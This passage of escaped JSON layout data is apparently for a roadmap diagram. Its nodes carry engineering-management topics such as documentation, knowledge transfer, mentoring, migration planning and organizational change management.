999,\n      \"width\": 84,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 84,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 755.0868781715585,\n        \"y\": 2385.9303418232553\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"_ab9jU3cwIiyrmTMQVpqV\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1143.82921857082,\n        \"y\": 2403.4303418232553\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"UFbewLKNzvIfYopqw08Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 84,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 84,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1143.82921857082,\n        \"y\": 2403.4303418232553\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 84,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"HRdccQlx3CGEwazvguhYy\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1149.32921857082,\n        \"y\": 2712.496177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        },\n        \"oldId\": \"UFbewLKNzvIfYopqw08Jm\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1149.32921857082,\n        \"y\": 2712.496177520253\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"UFbewLKNzvIfYopqw08Jm\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 757.4951891168022,\n        \"y\": 2712.496177520253\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"strokeDasharray\": \"0\",\n          \"strokeLinecap\": \"round\",\n          \"strokeWidth\": 3.5,\n          \"stroke\": \"#2B78E4\"\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 79,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 79,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 757.4951891168022,\n        \"y\": 2712.496177520253\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 79,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"QUxpEK8smXRBs2gMdDInB\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 839.1408176626721,\n        \"y\": 709.0522519931496\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Legacy System Retirement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"zpphxuz1vaPjnizUm2Qu-\"\n      },\n      \"zIndex\": 999,\n      \"width\": 279,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 279,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 839.1408176626721,\n        \"y\": 709.0522519931496\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 279,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dfXKIXcRZDOT1NJczx_Jf\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 795.1228868084611,\n        \"y\": 3443.037379336423\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Knowledge Management\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"_RF_sIeR2YhGf7g4htNV6\"\n      },\n      \"zIndex\": 999,\n      \"width\": 341,\n      \"height\": 61,\n      \"style\": {\n        \"width\": 341,\n        \"height\": 61\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 795.1228868084611,\n        \"y\": 3443.037379336423\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 341,\n        \"height\": 61\n      }\n    },\n    {\n      \"id\": \"A5gwcZ-VHYAqHDJtrSQ6B\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 446.6839788173643,\n        \"y\": 3181.8822700303967\n      },\n      \"width\": 297,\n      \"height\": 331,\n      \"style\": {\n        \"width\": 297,\n        \"height\": 331\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"7vahmZfyKoHFz9Yq-Vb4C\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 446.6839788173643,\n        \"y\": 3181.8822700303967\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 297,\n        \"height\": 331\n      }\n    },\n    {\n      \"id\": \"gHhNi32MSBmqk-oKOy-uj\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3238.8822700303963\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Architecture documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"Xaeb67Nqdi0kwvehQUYeJ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3238.8822700303963\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Kwy9O1z2hpeE0Sb3qtxEg\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3291.8822700303963\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Process documentation\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"LQ3YfAgJ4UaDgtnN-cMht\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3291.8822700303963\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"dTjp_rEl1ITZjvELqVtfv\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3344.8822700303963\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Decision records\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"irEwTIubCjORnlH27QpEo\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3344.8822700303963\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"HUQ_-vU2pdBPyF0mBocHz\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3450.8822700303963\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Lessons Learned\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"8zyK34SwHry2lrWchw0KZ\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3450.8822700303963\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"4-MCXFOkMGcN369OPG-vw\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3397.8822700303963\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Best Practices\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"2fHcb1dAnf34APCAAlwnR\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 460.1839788173643,\n        \"y\": 3397.8822700303963\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"93Fladz2ZH8E9zdUW4oBY\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 514.1839788173643,\n        \"y\": 3194.671516448422\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Documentation\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"FfWUy7E38KoMmZ1PBCQfV\"\n      },\n      \"zIndex\": 999,\n      \"width\": 134,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 514.1839788173643,\n        \"y\": 3194.671516448422\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 134,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"hwXurTdcHEOQ0jmT0tlRm\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 764.3166147758218,\n        \"y\": 3063.224082339736\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 4\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 81,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 81,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 764.3166147758218,\n        \"y\": 3063.224082339736\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 81,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"7XUJ5F7m1CvOTXvuIb2fP\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 1136.204465965453,\n        \"y\": 3463.537379336423\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"w5iEx-0HeFWgvrx8WrZ2r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 71,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 71,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 1136.204465965453,\n        \"y\": 3463.537379336423\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 71,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"GA9fSqq6ohC5nj8wOUW8B\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 743.2918356340306,\n        \"y\": 3463.537379336423\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"w5iEx-0HeFWgvrx8WrZ2r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 64,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 64,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 743.2918356340306,\n        \"y\": 3463.537379336423\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 64,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"NGQOfGQWgTCrP9YxEwM9d\",\n      \"type\": \"section\",\n      \"position\": {\n        \"x\": 451.47033412372843,\n        \"y\": 3575.407712908699\n      },\n      \"width\": 295,\n      \"height\": 280,\n      \"style\": {\n        \"width\": 295,\n        \"height\": 280\n      },\n      \"selected\": true,\n      \"data\": {\n        \"style\": {\n          \"backgroundColor\": \"#ffffff\",\n          \"borderColor\": \"#000000\"\n        },\n        \"oldId\": \"A5gwcZ-VHYAqHDJtrSQ6B\"\n      },\n      \"positionAbsolute\": {\n        \"x\": 451.47033412372843,\n        \"y\": 3575.407712908699\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 295,\n        \"height\": 280\n      }\n    },\n    {\n      \"id\": \"g6K9fxWdRQT5h_u4Y_bkq\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3632.4077129086986\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Mentoring Programs\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"gHhNi32MSBmqk-oKOy-uj\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3632.4077129086986\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"7t9jmv3_lRCEG5y5DA8bF\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3685.4077129086986\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Knowledge bases\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"dTjp_rEl1ITZjvELqVtfv\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3685.4077129086986\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"dragging\": false,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"S8-nwYKlG7YHL2dWwR303\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3791.4077129086986\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Brown Bags\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"HUQ_-vU2pdBPyF0mBocHz\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3791.4077129086986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"2LO0iWf-y3l4rA1n_oG1g\",\n      \"type\": \"subtopic\",\n      \"position\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3738.4077129086986\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Tech Talks\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        },\n        \"oldId\": \"4-MCXFOkMGcN369OPG-vw\"\n      },\n      \"zIndex\": 999,\n      \"width\": 270,\n      \"height\": 49,\n      \"style\": {\n        \"width\": 270,\n        \"height\": 49\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 462.97033412372843,\n        \"y\": 3738.4077129086986\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 270,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"L_7jYzqtQT84v6pnSZduj\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 516.9703341237284,\n        \"y\": 3588.1969593267245\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Knowledge Transfer\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": \"93Fladz2ZH8E9zdUW4oBY\"\n      },\n      \"zIndex\": 999,\n      \"width\": 170,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 516.9703341237284,\n        \"y\": 3588.1969593267245\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 170,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"FjYOpZMruJ69z-N9RdJVl\",\n      \"type\": \"vertical\",\n      \"position\": {\n        \"x\": 580.0405940856714,\n        \"y\": 3512.8822700303967\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"vertical node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 21,\n      \"height\": 63,\n      \"style\": {\n        \"width\": 21,\n        \"height\": 63\n      },\n      \"positionAbsolute\": {\n        \"x\": 580.0405940856714,\n        \"y\": 3512.8822700303967\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 21,\n        \"height\": 63\n      }\n    },\n    {\n      \"id\": \"_RF_sIeR2YhGf7g4htNV6\",\n      \"type\": \"paragraph\",\n      \"position\": {\n        \"x\": 814.5,\n        \"y\": 3589.45629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Change Management\",\n        \"style\": {\n          \"fontSize\": 24,\n          \"borderColor\": \"transparent\",\n          \"backgroundColor\": \"transparent\",\n          \"color\": \"#000000\",\n          \"textAlign\": \"center\",\n          \"justifyContent\": \"center\",\n          \"padding\": 16\n        },\n        \"oldId\": \"xKFDpqkzQ6EvTDixM0_hi\"\n      },\n      \"zIndex\": 999,\n      \"width\": 301,\n      \"height\": 61,\n      \"style\": {\n        \"width\": 301,\n        \"height\": 61\n      },\n      \"dragging\": false,\n      \"positionAbsolute\": {\n        \"x\": 814.5,\n        \"y\": 3589.45629873737\n      },\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 301,\n        \"height\": 61\n      }\n    },\n    {\n      \"id\": \"GlB1e75xTfReVT7HzhvnB\",\n      \"type\": \"horizontal\",\n      \"position\": {\n        \"x\": 746.9951891168022,\n        \"y\": 3609.95629873737\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"horizontal node\",\n        \"style\": {\n          \"stroke\": \"#2B78E4\",\n          \"strokeWidth\": 3.75\n        },\n        \"oldId\": \"w5iEx-0HeFWgvrx8WrZ2r\"\n      },\n      \"zIndex\": 999,\n      \"width\": 64,\n      \"height\": 20,\n      \"style\": {\n        \"width\": 64,\n        \"height\": 20\n      },\n      \"positionAbsolute\": {\n        \"x\": 746.9951891168022,\n        \"y\": 3609.95629873737\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 64,\n        \"height\": 20\n      }\n    },\n    {\n      \"id\": \"QMAIEkVFHrrP6lUWvd0S8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Migration planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 841,\n        \"y\": 3762\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 841,\n        \"y\": 3762\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"9mNLfntu1TPjcX3RoUeMq\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Legacy system retirement\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 841,\n        \"y\": 3815\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 841,\n        \"y\": 3815\n      },\n      \"dragging\": false,\n      \"resizing\": true,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"jerPoyfCcwZbNuE_cl1hq\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Technology adoption\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 841,\n        \"y\": 3868\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 841,\n        \"y\": 3868\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"f-52wRfPRrA9iniOMYQB7\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Tool transitions\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 841,\n        \"y\": 3921\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 841,\n        \"y\": 3921\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ev9ZKygqETctLMSt1GAFU\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Process changes\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 841,\n        \"y\": 3974\n      },\n      \"width\": 248,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"height\": 49,\n        \"width\": 248\n      },\n      \"positionAbsolute\": {\n        \"x\": 841,\n        \"y\": 3974\n      },\n      \"dragging\": false,\n      \"resizing\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 248,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"ztl8utibkeEYAZxCLskEC\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 891.9653895358222,\n        \"y\": 3720.4077129086986\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Technical Change\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        }\n      },\n      \"zIndex\": 999,\n      \"width\": 155,\n      \"height\": 36,\n      \"style\": {},\n      \"positionAbsolute\": {\n        \"x\": 891.9653895358222,\n        \"y\": 3720.4077129086986\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 155,\n        \"height\": 36\n      }\n    },\n    {\n      \"id\": \"1__zRE1iu1FDX9ynpWSBS\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Change strategy\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3861\n      },\n      \"width\": 289,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3861\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"oGmtkOGVgA4huGJqkBEfj\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Impact assessment\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3913\n      },\n      \"width\": 289,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3913\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"34uOnta7dKOyZL0et_RC8\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Stakeholder management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3965\n      },\n      \"width\": 289,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 3965\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"resizing\": false,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Mxi4g_PzT0oYc3NgR0UVg\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Communication planning\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 4017\n      },\n      \"width\": 289,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 4017\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"vfp6VmWnhpre_eDORg7ht\",\n      \"type\": \"subtopic\",\n      \"data\": {\n        \"label\": \"Resistance management\",\n        \"style\": {\n          \"fontSize\": 17,\n          \"justifyContent\": \"flex-start\",\n          \"textAlign\": \"center\"\n        }\n      },\n      \"position\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 4069\n      },\n      \"width\": 289,\n      \"height\": 49,\n      \"selected\": true,\n      \"style\": {\n        \"width\": 289,\n        \"height\": 49\n      },\n      \"positionAbsolute\": {\n        \"x\": 1217.0111243623878,\n        \"y\": 4069\n      },\n      \"dragging\": false,\n      \"selectable\": true,\n      \"focusable\": true,\n      \"measured\": {\n        \"width\": 289,\n        \"height\": 49\n      }\n    },\n    {\n      \"id\": \"Pb6LwGylkswhcqOT1Wf5x\",\n      \"type\": \"label\",\n      \"position\": {\n        \"x\": 1265.0111243623878,\n        \"y\": 3820.407712908699\n      },\n      \"selected\": true,\n      \"data\": {\n        \"label\": \"Organizational Change\",\n        \"href\": \"\",\n        \"color\": \"#000000\",\n        \"style\": {\n          \"fontSize\": 17\n        },\n        \"oldId\": 